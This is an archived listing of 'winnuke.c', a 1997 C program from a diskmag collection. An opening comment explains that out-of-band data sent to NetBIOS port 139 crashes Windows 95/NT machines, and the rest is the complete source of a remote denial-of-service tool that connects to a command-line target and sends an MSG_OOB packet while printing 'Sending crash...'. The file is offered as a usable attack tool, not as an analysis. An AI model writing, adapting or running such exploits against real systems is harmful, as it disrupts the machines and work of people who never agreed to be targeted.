home *** CD-ROM | disk | FTP | other *** search
/ No Fragments Archive 10: Diskmags / nf_archive_10.iso / MAGS / FALKMAG / FKM_10H.ZIP / FKM_010 / NUKE.ZIP / NUKE / WINNUKE.C < prev   
C/C++ Source or Header  |  1998-11-23  |  2KB  |  87 lines

  1. /*
  2.         It is possible to remotely cause denial of service to any windows
  3. 95/NT user.  It is done by sending OOB [Out Of Band] data to an
  4. established connection you have with a windows user.  NetBIOS [139] seems
  5. to be the most effective since this is a part of windows.  Apparently
  6. windows doesn't know how to handle OOB, so it panics and crazy things
  7. happen.  I have heard reports of everything from windows dropping carrier
  8. to the entire screen turning white.  Windows also sometimes has trouble
  9. handling anything on a network at all after an attack like this.  A
  10. reboot fixes whatever damage this causes.  Code follows.
  11.  
  12.  
  13. --- CUT HERE ---
  14. */
  15. /* winnuke.c - (05/07/97)  By _eci  */
  16. /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
  17.  
  18.  
  19. #include <stdio.h>
  20. #include <string.h>
  21. #include <netdb.h>
  22. #include <netinet/in.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <unistd.h>
  26.  
  27. #define dport 139  /* Attack port: 139 is what we want */
  28.  
  29. int x, s;
  30. char *str = "Bye";  /* Makes no diff */
  31. struct sockaddr_in addr, spoofedaddr;
  32. struct hostent *host;
  33.  
  34.  
  35. int open_sock(int sock, char *server, int port) {
  36.      struct sockaddr_in blah;
  37.      struct hostent *he;
  38.      bzero((char *)&blah,sizeof(blah));
  39.      blah.sin_family=AF_INET;
  40.      blah.sin_addr.s_addr=inet_addr(server);
  41.      blah.sin_port=htons(port);
  42.  
  43.  
  44.     if ((he = gethostbyname(server)) != NULL) {
  45.         bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
  46.     }
  47.     else {
  48.          if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
  49.            perror("gethostbyname()");
  50.            return(-3);
  51.          }
  52.     }
  53.  
  54.         if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
  55.              perror("connect()");
  56.              close(sock);
  57.              return(-4);
  58.         }
  59.         printf("Connected to [%s:%d].\n",server,port);
  60.         return;
  61. }
  62.  
  63.  
  64. void main(int argc, char *argv[]) {
  65.  
  66.      if (argc != 2) {
  67.        printf("Usage: %s <target>\n",argv[0]);
  68.        exit(0);
  69.      }
  70.  
  71.      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  72.         perror("socket()");
  73.         exit(-1);
  74.      }
  75.  
  76.      open_sock(s,argv[1],dport);
  77.  
  78.  
  79.      printf("Sending crash... ");
  80.        send(s,str,strlen(str),MSG_OOB);
  81.        usleep(100000);
  82.      printf("Done!\n");
  83.      close(s);
  84. }
  85.  
  86.  
  87.